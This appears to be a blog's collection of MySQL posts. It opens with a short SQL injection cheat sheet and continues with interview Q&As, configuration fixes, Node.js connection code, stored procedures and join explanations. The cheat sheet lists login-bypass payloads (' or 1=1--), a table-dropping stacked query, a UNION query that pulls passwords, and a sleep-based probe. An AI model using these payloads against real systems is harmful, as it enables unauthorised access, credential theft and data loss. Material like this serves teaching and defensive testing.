Showing posts with label MYSQL. Show all posts
Showing posts with label MYSQL. Show all posts

Saturday 17 April 2021

MySQL - SQL Injection Cheat Sheet

 

MySQL - SQL Injection Cheat Sheet


Question: What is an SQL Injection Cheat Sheet?
An SQL injection cheat sheet is a resource in which you can find
detailed technical information about the many different variants of the SQL Injection vulnerability.


Question: Give few example SQL Injection Cheat Sheet?
#1 - Add comment in between Query which leads to comments out rest of the query.
Normal Query
SELECT * FROM members WHERE email = 'adminuser' AND password = 'password'; 

tempered Query
SELECT * FROM members WHERE email = 'adminuser'-- AND password = 'password'; 

(In this query will check for username only)


#2 Add comment between some part of query
SELECT id,/* comment here*/ email FROM members WHERE 1 


#3 SQL Injection Attack deleting table
SELECT id email FROM members WHERE email="arun@example.com" ; drop table users


#4 Union Injections - try to get another table data
SELECT id email FROM members WHERE email="arun@example.com" union select email,password from members


#5 Bypassing Login Screens - Un-Authentication login with modify in sql through injection
admin' --
admin' #
admin'/*
' or 1=1--
' or 1=1#
' or 1=1/*
') or '1'='1--
') or ('1'='1--


#6 Get All mysql users with password
SELECT User,Password FROM mysql.user;


#7 Get MySQL version
SELECT @@version


#8 Get all MySQL tables
SELECT * FROM information_schema.tables

#9 Sleep Query
SELECT 10,sleep(100)

Thursday 18 June 2020

Get Mysql Row size too large error when change engine from MyISAM to Innodb

Get Mysql Row size too large error when change engine from MyISAM to Innodb
ALTER TABLE table_name ENGINE=InnoDB

When i try to change the engine From MyISAM to InnoDB, getting following error.

row size too large (> 8126). changing some columns to text or blob or using row_format=dynamic or row_format=compressed may help.

Solutions:
  1. Add the following to the my.cnf file under [mysqld] section.
            innodb_file_per_table=1;
            innodb_file_format = Barracuda;
            innodb_log_file_size = 256M    
    
         
  2. ALTER TABLE table_name ENGINE=InnoDB ROW_FORMAT=COMPRESSED KEY_BLOCK_SIZE=8;




Sunday 7 June 2020

MySQL database Administrator interview question and Answer for 6 year experienced

MySQL database Administrator interview question and Answer for 6 year experienced

Question: How to reset AUTO_INCREMENT in MySQL?>
ALTER TABLE tablename AUTO_INCREMENT = 1

Question: How to concatenate multiple rows into one field?>
SELECT GROUP_CONCAT(id SEPARATOR ', ')   FROM users   WHERE city = 'india'  GROUP BY city;

(It will concatinate all the users)


Question: Which MySQL data type to use for storing boolean values?>
BIT

Question: What are best character-set for multi-language data?>
utf8mb4

Question: What is the difference between utf8mb4_unicode_ci and utf8mb4_general_ci?
utf8mb4_unicode_ci is based on the official Unicode rules for universal sorting and comparison, which sorts accurately in a wide range of languages.

utf8mb4_general_ciis a simplified set of sorting rules which aims to do as well as it can while taking many short-cuts designed to improve speed. It does not follow the Unicode rules and will result in undesirable sorting or comparison in some situations


Question: How do you set a default value for a MySQL Datetime column?>
Add the default CURRENT_TIMESTAMP
For example:
CREATE TABLE foo (
    `modification_time` DATETIME ON UPDATE CURRENT_TIMESTAMP
)



Question: What is the difference between physical and logical backup?>
physical backup is to copy for backing up all the physical files that belongs to database.(like data files,control files,log files, executables etc), we need to stop the mysql service temporary.>
In logical backup, you don't take the copies of any physical things,you only extract the data from the data files into dump files.(ex : using export )


Question: What are World's most popular Databases?>
  1. Oracle
  2. MySQL
  3. Microsoft SQL Server
  4. PostgreSQL
  5. MongoDB



Question: Explain ACID?
Atomicity. All completed OR Nothing.
Consistency. Database protected from actions that may corrupt data.
Isolation. multiple actions occuring in parallel will not impact each other.
Durability. All commited statements data are safe.


Question: What does FLUSH TABLES WITH READ LOCK do?
1 set the global read lock - after this step, insert/update/delete/replace/alter statements cannot run.
2 close open tables - this step will block until all statements started previously have stopped.
3 set a flag to block commits.
FLUSH TABLES


Monday 1 June 2020

MySQL Stored procedure interview Questions and Answer

MySQL Stored procedure interview Questions and Answer

Question: What is stored procedure?
A stored procedure is Structured Query Language (SQL) statements which has a name, a parameter list, and SQL statement(s) stored in MySQL Server.



Question: Give example of stored procedure?
DELIMITER $$
CREATE PROCEDURE getUsersAscending()
BEGIN
	SELECT 
		first_name, 
		last_name, 
		email
	FROM
		users
	ORDER BY first_name;    
END$$
DELIMITER ;




Question: Give example of stored procedure with parameter details?
DELIMITER $$
CREATE   PROCEDURE `getUsersDetails`(IdSearch INT)    
    BEGIN
	SELECT 
		first_name, 
		last_name, 
		email
	FROM
		users
	WHERE id=IdSearch;      

    END$$
DELIMITER ;



Question: To show all stored procedures:
SHOW PROCEDURE STATUS;



Question: How to show stored procedures in a specific database
SHOW PROCEDURE STATUS WHERE Db = 'db_name';



Question: MySQL stored procedures advantages?
  1. Reduce network traffic
  2. Make database more secure



Question: MySQL stored procedures dis-advantages?
  1. Resource usages: If you use many stored procedures, the memory usage of every connection will increase substantially.
  2. Troubleshooting:MySQL does not provide any facilities to debug stored procedures like other enterprise database products such as Oracle and SQL Server
  3. Maintenances Developing and maintaining stored procedures often requires a specialized skill set that not all application developers possess.



Question: How to call stored procedure with OR without arguments?
Call without argument
call getUsersAscending();
Call With argument
call getUsersDetails(10);



Question: How to delete the procedure?
DROP PROCEDURE IF EXISTS getUsersAscending;



Question: What if i am trying to delete the stored procedure for non-exist.?
It will give warning only, if you have used "IF EXISTS"
It will give Error, if you have used not used "IF EXISTS"


Question: How to Alter a stored procedure in mysql?
1: Delete the Stored procedure. 
2: Re-Create the Stored procedure.



Wednesday 8 April 2020

Difference between mysql.createConnection and mysql.createPool in Node.js?

Difference between mysql.createConnection and mysql.createPool in Node.js?

mysql.createConnection

When you create a connection with mysql.createConnection, you only have one connection and it lasts until you close it OR connection closed by MySQL.

A single connection is blocking. While executing one query, it cannot execute others. hence, your application will not perform good.
Example:
var mysql = require('mysql');
var connection = mysql.createConnection({
  host     : 'localhost',
  user     : 'root',
  password : '',
  database : 'mydb',
});


mysql.createPool

mysql.createPool is a place where connections get stored.
When you request a connection from a pool,you will receive a connection that is not currently being used, or a new connection.
If you're already at the connection limit, it will wait until a connection is available before it continues.

A pool while one connection is busy running a query, others can be used to execute subsequent queries. Hence, your application will perform good.
Example:
var mysql = require('mysql');
var pool  = mysql.createPool({
  connectionLimit : 10,
  host     : 'localhost',
  user     : 'root',
  password : '',
  database : 'mydb',
});



Tuesday 7 April 2020

How to check active connections in MySQL?

How to check active connections in MySQL?

Question: How to check active connections in mysql?
show status where `variable_name` = 'Threads_connected';



Question: How to check the limit of MySQL active connections?
SHOW VARIABLES LIKE "max_connections";



Question: Display the list of active MySQL Process list?
show processlist;



Question: How to check the max no of connections used?
SHOW STATUS WHERE `variable_name` = 'Max_used_connections';



Question: MySQL set the max no of connections used (Temporarily/Quick)?
SET GLOBAL max_connections = 512;



Question: MySQL set the max no of connections used (Temporarily/Quick)?
Open my.cnf or my.ini in MySQL
max_connections = 512

service mysqld restart


Question: MySQL check number of connections throughout history?
show status like 'Connections%';

Sunday 29 March 2020

General error: 1364 Field city_id doesn't have a default value


I have upgraded the MySQL from 5.5 to 5.6 and then getting below type of errors.
General error: 1364 Field 'city_id' doesn't have a default value

(I was not getting such type of error, it must come after upgrading my MySQL Version from 5.5 to 5.6)

Solution: It have 3 Solutions

  1. In Your Code (PHP), always set a default value (if no value) before save.
    $objSaveData->saveData(
        array(
            'id'=>111,
            'name'=>'New user',
            'city_id'=>0, //default value
        );
    );
    
  2. Create fields with default values set in datatable. It could be empty string, which is fine for MySQL server running in strict mode.
    like below:
    ALTER TABLE `users` CHANGE `city_id` `city_id` INT(10) UNSIGNED NOT NULL DEFAULT '0';
    
  3. Disable MySQL Strict Mode (Most appropriate)
    Disable it by setting your own SQL_MODE in the my.cnf file, then restart MySQL.

    Look for the following line:
    sql-mode = "STRICT_TRANS_TABLES,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION"
    Change it to:
    sql-mode="" 
    Restart the MySQL Service.



Thursday 12 December 2019

How to get the sizes of the tables in mysql database?

How to get the sizes of the tables in mysql database?


Question: How to get the sizes of the tables in mysql database?
SELECT table_name "Table Name",SUM( data_length + index_length ) / 1024 / 1024 "Table Size (MB)",SUM( data_free )/ 1024 / 1024 "Free Space(MB)" FROM information_schema.TABLES WHERE table_schema='mydb' GROUP BY table_name ORDER BY SUM(TABLE_ROWS) DESC
(Replace mydb with Your Database Name)

Output
How to get the sizes of the tables in mysql database



Question: Get record counts for all tables along with size in MySQL database?
SELECT table_name "Table Name",SUM( data_length + index_length ) / 1024 / 1024 "Table Size (MB)",SUM( data_free )/ 1024 / 1024 "Free Space(MB)", SUM(TABLE_ROWS) AS "Total Record(S)" FROM information_schema.TABLES WHERE table_schema='mydb' GROUP BY table_name ORDER BY SUM(TABLE_ROWS) DESC
(Replace mydb with Your Database Name)

Output

Get record counts for all tables in MySQL database


Saturday 12 October 2019

How to install and Connect to MySQL in NodeJS?

How to install and Connect to MySQL in NodeJS?

Hope you have already installed nodeJS, If not Please install first.
https://nodejs.org/en/download/

Question: How to install new package in nodejs?
npm install packagename



Question: How to install MySQL?
npm install mysql



Question: How to update MySQL?
npm update mysql



Question: How to include MySQL?
var mysql = require("mysql");



Question: How to connect to MySQL in nodeJS?
var mysql = require("mysql");
var con = mysql.createConnection({
    host: "localhost",
    user: "root",
    password: "",
    database: "mydb"
});
con.connect(function(err) {
    if (err) {
        console.log('Error connecting to database');
        return;
    }
    console.log('Connection established Successfully');
});



Question: How to connect to MySQL in single string in nodeJS?
var mysql = require("mysql");
var con = mysql.createConnection('mysql://arun:arun@localhost/database'); 
con.connect(function(err) {
    if (err) {
        console.log('Error connecting to database');
        return;
    }
    console.log('Connection established Successfully');
});



Question: How to get records from MySQL database in node.js?
var mysql = require("mysql");
var con = mysql.createConnection({
    host: "localhost",
    user: "root",
    password: "",
    database: "enterprisedev2"
});

con.query('SELECT * FROM admin_members where id<=10 ', function(err, rows) {
    for (var i = 0; i < rows.length; i++) {
        console.log(rows[i]);
    }
});


Question: How to insert record in database?
var mysql = require("mysql");
var con = mysql.createConnection('mysql://arun:arun@localhost/mydb');
var post = {
    'userID': "1",
    'userName': 'username',    
    'device': 'web',
    'stream_time': "0",
    'user_display_name': "arun kumar gupta",
    'user_photo': "hello"
};
con.query('INSERT INTO messages set ?', post, function(err, result) {
    if (err) {
        console.log(err.message);
    } else {
        console.log('record added in db');
    }
});



Question: How to print the query while inserting record?
var mysql = require("mysql");
var con = mysql.createConnection('mysql://arun:arun@localhost/mydb');
var post = {
    'userID': "1",
    'userName': 'username',    
    'device': 'web',
    'stream_time': "0",
    'user_display_name': "arun kumar gupta",
    'user_photo': "hello"
};
var mysqlProfiler = con.query('INSERT INTO messages set ?', post, function(err, result) {});
console.log(mysqlProfiler.sql);



Question: Given another way to insert data in MySQL Database?
var mysql = require("mysql");
var con = mysql.createConnection('mysql://arun:arun@localhost/enterprisedev2');

/* data insert in db */
var postData = {
    userID: "1",
    userName: "arunkg",
    userRole: "1",
    text: 'kkkkkkkkkkkkkkkk',
    status: "1",
    vid: '21'
};

var mysqlProfiler = con.query('INSERT INTO `messages` (`userID`, `userName`, `userRole`,`text`,`status`,`vid`) VALUES (' + [postData.userID, mysql.escape(postData.userName), postData.userRole, mysql.escape(postData.text), postData.status, postData.vid] + ')', function(err, result) {
    if (err) {
        //console.log(err.message);
    } else {
        console.log('record added in db');
    }
});



Thursday 3 October 2019

What is Super Key, Candidate keys and Alternate Key?

What is Super Key, Candidate keys and Alternate Key?

Super Key
A Super key is any combination of fields within a table that uniquely identifies each record within that table.

Example:
managers (table)
ManagerID (unique)
Name
Title
DepartmentID

ManagerID+Name=Super Key
ManagerID+Title=Super Key


Candidate keys
Candidate keys are those keys which is candidate for primary key of a table. Candidate keys are such keys which full fill all the requirements of primary key which is not null and have unique records.

Example:
Suppose we have a table named Employee which has two columns EmpID and EmpMail, both are not null and have unique value.
Both Field are Candidate keys.



Alternate Key
If any table have more than one candidate key, then after choosing primary key from those candidate key, rest of candidate keys are known as an alternate key of that table.

Example:
Suppose we have a table named Employee which has two columns EmpID and EmpMail, both are not null and have unique value.
So both columns are treated as candidate key.
IF we make EmpID as a primary key, then EmpMail is known as alternate key.



Referential integrity
Referential integrity is a database concept that ensures that relationships between two table remain consistent.

Suppose one table has a foreign key to another table. Referential integrity makes ensure the both have valid record.

Example:
products (table)
    id (primary key)
    name 
    price
    sale_price
    size

reviews (another table)
    id (primary key),    
    product_id (foreign key)
    review by
    title
    start_rating

One Product can have one Or multiple reviews.
Referential integrity make sure following:
  1. You can't delete record from product table, till review exist in reviews table for same product Id.
  2. You can't add record in reviews table, till you have not added record in product table for same product Id.
  3. If you delete the record from product table, reviews will be deleted automatically using cascade for the same product Id.



Thursday 12 October 2017

What is Mysql


What is Mysql?
MySQL is an open-source relational database management system (RDBMS). Its name is a combination of "My", the name of co-founder Michael Widenius's daughter, and "SQL", the abbreviation for Structured Query Language.
Today, Its most widely used in Web Development.




What are Client programs?
Communicating with the server to manipulate information.The following list of client programs:
  • MySQL Query Browser and MySQL Administrator.
  • All mysql is a command-line program.


What are three layer of Mysql Architecture?
Following are 3 layer of Mysql Architecture
  1. Application Layer: It represents the interface for all type of users, The user who is interacting with databases.
    • Sophisticated User
    • Specialized User
    • Naive User
    • Database Administrators
  2. Logical Layer: Core functionality of RDBMS is represented in the logical layer.
  3. Physical Layer: It is responsible for the storage of variety of information and that are following.
    • Data Files: It store user data
    • Data dictionaryr: store metadata about the structure of the database.
    • Statistical Data: Statistical information about the data
    • Log Information: Keep the track of query information.



Question: In which language it was written?
C/C++


Question: What is current Stable Version ?
5.7.21 / 15 January 2018;


Question: How to change the collation of column, table and database?
ALTER TABLE `hotels` CHANGE `Name` `Name` VARCHAR(255) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL;




Tuesday 25 July 2017

MySQL User defined variables and System variables defined variables

MySQL User defined  variables and System variables

Question: What are User-Defined Variables in MySQL?
User-Defined variables are variable that defined by user as per there need. Once they exit from the console, will be removed automatically.


Question: How to set User-Defined Variables in MySQL?
set @name="this is new variable";



Question: How to get User-Defined Variables in MySQL?
select @name;



Question: Can we define multiple variable in single line?
Yes, We can.
set @num1=10, @num2=20, @num3=30;



Question: Can we do arithmetic operators on variable?
Yes, we can do.
select @num1+@num2+@num3; //60
select @num1+@num2+@num3; //6000



Question: Is user defined variable are permanent?
No, It will be removed once close the session.


Question: Can we use user variable with Query?
Yes, If you have defined in same session, then you can use.


Question: What are System Variables?
System Variables explains how your MySQL server are configured and you can change as per your requirement.


Question: How to get the value from system variable?
select @@max_connections; //100



Question: How to update the value from system variable globally?
set @@global.max_connections=200;

set GLOBAL @@max_connections=200;

Thursday 5 January 2017

What is Stored Procedure in MySQL?

What is Stored Procedure in MySQL?

Question: What is Stored Procedure?
A Stored procedure is program in a regular computing language, stored in database. It have has a name, a parameter list, and SQL statement(s).


Question: What is the purpose of stored procedure?
A stored procedure is used to retrieve data, modify data, and delete data in database table.


Question: What is Syntax for creating stored procedure?
DELIMITER $$
CREATE    
    PROCEDURE `dbName`.`storedProcedureName`()
    BEGIN

    END$$



Question: Create simple stored procedure?
CREATE
    /*[DEFINER = { user | CURRENT_USER }]*/
    PROCEDURE `dbname`.`helloArun`() 
    BEGIN
SELECT id,user_nickname,user_email FROM `cmf_users` WHERE user_email="hello@no-spam.ws";   
    END



Question: How to call stored procedure?
call helloArun();



Question: How to list stored procedure?
SHOW PROCEDURE STATUS;



Question: How to delete stored procedure?
DROP PROCEDURE storedProcedureName



Question: How to delete stored procedure If Exist?
DROP PROCEDURE IF EXISTS storedProcedureName



Question: Create simple stored procedure with argument?
CREATE    
    PROCEDURE `dbname`.`helloArun2`(
  IN email VARCHAR(255)    
    )
    BEGIN
 SELECT id,user_nickname,user_email FROM `cmf_users` WHERE user_email=email;      

    END



Question: How to call stored procedure with parameter?
call helloArun2('arunk@no-spam.ws');



Question: How to list of stored PROCEDURE?
SHOW PROCEDURE STATUS



Question: How to remove stored PROCEDURE?
DROP PROCEDURE storedProcedureName



Question: How to remove stored PROCEDURE if exist?
DROP PROCEDURE IF EXISTS storedProcedureName


Monday 22 February 2016

MySQL Query Optimization Tips and Techniques

MySQL Query Optimization Tips and Techniques

  1. Choosing Which Version of MySQL
  2. Don't join extra tables in MySQL Query.
  3. Only get N records which are going to used. Don't get extra records from table which you are not using.
  4. Don't fetch extra column from table which are not in use.
  5. Don't add spam records in tables
  6. Don't get it overload any table like 1GB Size, In this case shift data to another table.
  7. Get the understanding of normalization.
  8. Use Explain/DESCRIBE to know about table structure and Query. For Example:
  9. DESCRIBE SELECT * FROM `users` WHERE username='web-tech' 
  10. Partition your table (MySQL 5.1). Paritioning is a technique for splitting a large table into several smaller ones by a specific (aggregate) key.
  11. Partition can be achieve in three way 1. RANGE, HASH and List/Key.
  12. Build your indexes to match the queries running. For Example:
    ALTER TABLE `users` ADD INDEX `profile_id` (`profile_id`)
    Know about MySQL Indexing
  13. Use concatination indexing, if required (When searching like below).
    SELECT * FROM table_name  WHERE field_name1='text1' AND field_name2='text2';
  14. No indexing on column which not used in search.
  15. Sometime you need to use OPTIMIZE Table. For Example:
    OPTIMIZE TABLE `users`
    Used for defragment tables and update the InnoDB fulltext index
  16. Full Text Search can be used, if required.
    http://www.web-technology-experts-notes.in/2013/05/mysql-fulltext-search.html

Thursday 18 February 2016

How can I make SQL Query case sensitive string comparison on MySQL?

How can I make SQL Query case sensitive string comparison on MySQL

In Websites we display the data which fetch from database using string based conditions.
OR
Login Feature / Change password Featured based on string based conditions.
OR
Show the user detils behalf on user slug like "http://example.com/users/user-slug-value"


If you want to make your SQL Query as case sensitive, We have following 3 ways.

  1. Do at MySQL Server Level
    Set Following in /etc/mysql/my.cnf (Works for >MySQL 5.5 only)
    character-set-server=utf8
    collation-server=utf8_bin
  2. Set the column as Case sensitive,For Example
    ALTER TABLE `users` CHANGE `name` `name` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_bin NOT NULL;
  3. Set the Query as case sensitive, For Example
    SELECT *  FROM `users` WHERE BINARY `name` = 'raJ'



Saturday 28 November 2015

Comparison between MySQL and MongoDB

Comparison between MySQL and MongoDB

Features MySQL MongoDB
Logo


Type of Database? Relational Database Document-oriented database
Initial release 23 May 1995 13 October 2015
Current Stable Version 5.7.18 / 10 April 2017 3.4.5 / 14 June 2017
Written in C/C++ C/C++, JavaScript
Open Source Yes Yes
License GPL (version 2) or proprietary GNU AGPL v3.0 (drivers: Apache license)
Offical Website http://www.mysql.com https://www.mongodb.org
How stored Data In Structed, data is stored in tables. Unstructed, data is stored in Collection in JSON Format.
Terminology Table
Row
Column
Joins
Collection
Document
Field
Embedded documents, linking
Normalization used to minimize data redundancy Normalization is obsolete for MongoDB
Get data from two different tables Joins are used References are used
Transactions vs Atomic Updates MySQL Support No supported
How to get data SQL Query is used you need to used functions with parameter
Security MySQL uses privilege-based security model. MongoDB security features include authentication, authorization and auditing
Select Query
SELECT * FROM users
 WHERE name LIKE "%Web%";
db.books.find({"name": { 
"$regex":  "Web" }});
Insertion Query
INSERT INTO users (user_id, age, status) 
VALUES ("100", 20, "Active")
db.users.insert({  user_id: "100",
  
age: 20,  status: "Active"})
Update Query
UPDATE users SET status = "Active" 
WHERE age > 25
db.users.update( {
age: { $gt: 25 } }, { $set: { 
status: "Active" } }, { multi: true }
)
Insert data Speed Normall Much Faster as compare to MySQL
Best Database for Very-2 Heavy Site Not MongoDB is better
DBA Required Yes, For better performance Not required
Rich Data Model No Yes
Dyamic Schema No Yes
Typed Data Yes Yes
Data Locality No Yes
Field Updates Yes Yes
Easy for Programmers No Yes
Complex Transactions Yes No
Auditing Yes Yes
Auto-Sharding No Yes

Thursday 15 October 2015

DBMS Interview Questions and Answers for Freshers


DBMS Interview Questions and Answers for Freshers


Question: What is database?
Database is a collection of information which are stored in organised way.


Question: What is DBMS?
Full for of DBMS is Database Management System.
It is Management System which manage the databases and its table.


Question: What are the advantages of using DBMS?
  1. Backup and Recovery
  2. It contains two-dimensional tables with rows and columns.
  3. Integrity constraints
  4. Redundancy can be reduced
  5. Give Access to User in controlled way.


Question: What are the disadvantage in File Processing System?
  1. Data redundancy and inconsistency.
  2. Data integrity.
  3. Security Problems
  4. Data isolation.
  5. Difficult in accessing data.



Question:What is Data Model?
A collection of conceptual tools for describing data, data relationships, data semantics & constraints.
Question: What is normalization?
Normalization is the process of organizing tables in such a way that the results are always unambiguous, accurate and fast.


Question: What is BCNF (Boyce-Codd Normal Form)?
A relation schema R is in BCNF if it is in 3NF and satisfies an additional constraint that for every FD X A, X must be a candidate key.


Question: What is RDBMS?
Relational Database Management system (RDBMS) is a database management system (DBMS) that is based on the relational model.


Question: What is SQL?
Structured Query Language is a language designed specifically for communicating with databases to get the required results.


Question: What is a Record in a database?
A record is the collection of values / fields of a specific entity: i.e. an Employee.
It have employee details like employee id,name, email and address etc.


Question: What is Object Oriented model?
This model is based on collection of objects.


Question: What is an Entity?
small independent things.


Question: What is an Entity type?
It is a collection (set) of entities that have same or different attributes.


Question: What is Weak Entity set?
An entity set may not have sufficient attributes to form a primary key.


Question: What is DDL?
Full form of DDL is Data Definition Language.
DDL is a standard for commands that define the different structures in a database.
DDL statements create, modify and remove database objects such as tables, indexes, and users.
Most Common DDL statements are CREATE, ALTER and DROP.


Question: What is Data mining?
Data mining is a process of analyzing current data and summarizing the information in more useful.



Monday 6 April 2015

MySQL Interview Questions and Answers for Experienced

MySQL Interview Questions and Answers for Experienced

Question: Can I concatenate multiple MySQL rows into one field?
use GROUP_CONCAT function
For Example
SELECT group_concat( city, '--' ) AS all_city FROM `cities`WHERE 1 LIMIT 0 , 30
Output:
New York--,London--,Chicago--,Frankfurt--,Paris--



Question: How to output MySQL query results in csv format?
Its quite simple.
  • First get the queries with column which you want to write.
  • Seconds Use OUTFILE (filename with location), FIELDS TERMINATED BY (field separator), ENCLOSED BY and LINES TERMINATED (Line Separator) BY for format.

SELECT city from cities INTO OUTFILE 'city.csv' FIELDS TERMINATED BY ',' ENCLOSED BY '"' LINES TERMINATED BY '\n'



Question: How do you set a default value for a MySQL Datetime column?
You can add default time, when data type is timestamp.
See Example:
CREATE TABLE `mytable` (`id` INT NULL ,`created_at` TIMESTAMP ON UPDATE CURRENT_TIMESTAMP NOT NULL ,PRIMARY KEY ( `id` ) ) ENGINE = InnoDB;



Question: Difference between utf8_general_ci and utf8_unicode_ci?
utf8_unicode_ci is more accurately as compare to utf8_general_ci.
utf8_unicode_ci is support more lanaguages as compare to utf8_general_ci.
utf8_general_ci is faster at comparisons and sorting as compare to utf8_general_ci.



Question: How to make multiple column as unique?
use UNIQUE Constraint for creating multiple column as unique.
For Example
ALTER TABLE `mytable` ADD UNIQUE `unique_index`(`user`, `email`, `address`);



Question: How to find duplicate email records in MySQL?
SELECT u1.first_name, u1.last_name, u1.email FROM users as u1
INNER JOIN (
    SELECT email FROM users GROUP BY email HAVING count(id) > 1
    ) u2 ON u1.email = u2.email;



Question: How can you reset AUTO_INCREMENT for user table?
ALTER TABLE users AUTO_INCREMENT = 1



Question: How to make duplicate table in MySQL?
CREATE TABLE users_new LIKE users; //Copy the structure
INSERT users_new SELECT * FROM users; //copy the table rows



Question: How to Group by multiple column(i.e email and ssn)?
select * from users group by concat(email,"-",ssn);


Question: MySQL: @variable vs. variable. Whats the difference?
@variable are user-defined variable used in statements which retain its values during the same session is active.
variable are procedure variable used in store procedure only. It never retain its value. Each time store procedure called its value set to null automatic.



Question: What is query to show list of Stored Procedures?
SHOW PROCEDURE STATUS;


Question: What is query to show list of functions?
SHOW FUNCTION STATUS;


Question: How to check last queries executed on MySQL?
check mysql.log


Question: How to get the sizes of the tables of a mysql database?
SELECT table_name AS "Table", 
round(((data_length + index_length) / 1024 / 1024), 2) "Size in MB" 
FROM information_schema.TABLES 
WHERE table_schema = "geob2cdev" ORDER BY (data_length + index_length) DESC 


Question: How to check specific table details?
SHOW TABLE STATUS WHERE Name = 'users';


Question: How to rename a table?
RENAME TABLE `mytable` TO `geob2cdev`.`mytable1` ;


Question: How to rename a column?
ALTER TABLE `mytable1` CHANGE `created_at` `created_at1` TIMESTAMP; 

Question: How to insert current datetime in column?
Use Now() function
INSERT INTO `users` (`id`,`name`,create_time) VALUES (NULL,  'this is test\'s message',now());




Question: Can we have multiple order by in single Query?
Yes, We can have
select * from users where upper(name) = upper('Hello') order by name asc, id desc




Question: How to remove stored PROCEDURE?
DROP PROCEDURE storedProcedureName



Question: How to remove stored PROCEDURE if exist?
DROP PROCEDURE IF EXISTS storedProcedureName




Sunday 22 March 2015

Difference between inner join and outer join in MySQL

Difference between inner join and outer join in MySQL


Joins are used to get the records from two OR more tables. Following are different type of joins  used in mysql.
  • Left Join
  • Right Join
  • Inner Join
  • Self Join
  • Outer Join


Following are difference between Inner Join & Outer Join.

Inner Join: It is used to get the common records from two table or more tables.

MySQL Inner Join Example:
SELECT * FROM `geo_cities` as gc INNER JOIN meta_data AS md on md.city_id=gc.id;


Outer Join: It is used to get the all records from two tables or more tables.
MySQL Outer Join Example:
MySQL does not provide the FULL JOIN.
You need to UNION the result of Right Join and Left Join from both tables.
SELECT * FROM `geo_cities` as gc LEFT JOIN meta_data AS md on md.city_id=gc.id
UNION
SELECT * FROM `geo_cities` as gc RIGHT JOIN meta_data AS md on md.city_id=gc.id